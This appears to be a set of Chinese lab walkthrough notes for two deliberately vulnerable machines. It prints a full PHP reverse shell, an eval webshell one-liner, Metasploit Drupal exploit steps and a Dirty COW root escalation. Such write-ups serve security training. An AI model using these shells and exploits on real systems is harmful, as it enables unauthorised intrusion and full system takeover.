Lazysysadmin
nmap是老规矩
22端口: ssh服务
139端口: 文件共享
445端口: smb(交换服务器消息块)
有共享文件
可以尝试用enum4linux读共享文件
enum4linux 192.168.111.132
windows访问
\\192.168.111.132\share$
拿到了一个密码
在wordpress文件夹里的wp-config.php发现了一套数据库的用户名密码
用dirb扫了一下web目录,发现他是有wordpress、phpmyadmin的
这里也给了我们一个用户名togie
对wordpress的渗透利用也是比较固定的套路
登陆地址
http://ip/wordpress/wp-admin
修改404页面,写入webshell
appearance-->editor-->404.php
访问404页面,反向连接(在攻击端提前开启监听)
http://ip/wordpress/wp-content/themes/twentyfifteen/404.php
利用刚刚获得的用户名密码成功登入后台
复制kali中的php-reverse-shell.php(文件位于 /usr/share/webshells/php)中的内容,修改其中的IP和端口
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.111.132'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
随意访问一个不存在的地址就会触发404
nc监听端口反向连接shell
变成交互式窗口
python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh连接,密码是12345
ssh [email protected]
查看权限->查看用户->ssh连接->查看权限->提权
使用sudo -i提权,输入密码12345,提权成功
使用ls -la发现proof.txt
也可以进来写木马
注意 :必须是在/var/www/html目录下,否则连接不上
echo '<?php eval($_POST[1]);?>' >> shell.php
蚁剑连接
使用它成功登进phpmyadmin
Lampiao
老规矩nmap找ip
再具体扫描这个ip的详细信息
22
80
1898
在1898端口可以访问到网站
接下来用dirb扫一下网站目录
dirb http://192.168.111.133:1898
发现robots.txt
访问robots.txt,有一个changelog.txt
这里应该是暴露了这个网站使用的cms和版本号,找一下这个版本有没有能利用的漏洞
打开msfconsole,搜索一下有没有能利用的漏洞
search Drupal
use 4 使用序号为4的exploit
show options 查看需要设置哪些内容,查出来的表格里跟着yes的那一行就是必填项
可以看到有三个必填项,通过set设置
set RHOST 192.168.111.133
set RPORT 1898
run 运行
进入shell, 再进入交互窗口
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
在这个文件里发现了一些数据库配置信息
查看这个服务器上的用户
我们假设这个用户的密码和刚刚数据库的密码是一致的,用ssh连一下
ssh [email protected]
Virgulino
然后看这个账户的权限信息,是一个低权限的
他的uid是1000,uid为0是管理员,1-999是系统账号,1000及以后的是普通用户
下面就是提权,利用脏牛提权,这个利用方式好像是利用了linux的内核漏洞
查看一下他的内核版本
14.04.1-Ubuntu
4.4.0-31-generic内核
uname -a
要用到CVE-2016-5195的脚本
压缩一下
tar -czvf dcow.tar.gz CVE-2016-5195-master
在刚刚ssh连上的服务器上起一个监听,把监听到的文件传到这个文件夹
nc -l 4444 >dcow.tar.gz
另一边通过nc把文件发送过去
nc 192.168.111.133 4444< dcow.tar.gz
可以看到服务器上已经收到这个文件了
在服务器上解压一下这个压缩包
tar -xzvf dcow.tar.gz
进入压缩出的文件夹,输入 make 命令
运行一下dcow文件,发现root的密码被更改了
切换一下用户
su
拿到root权限
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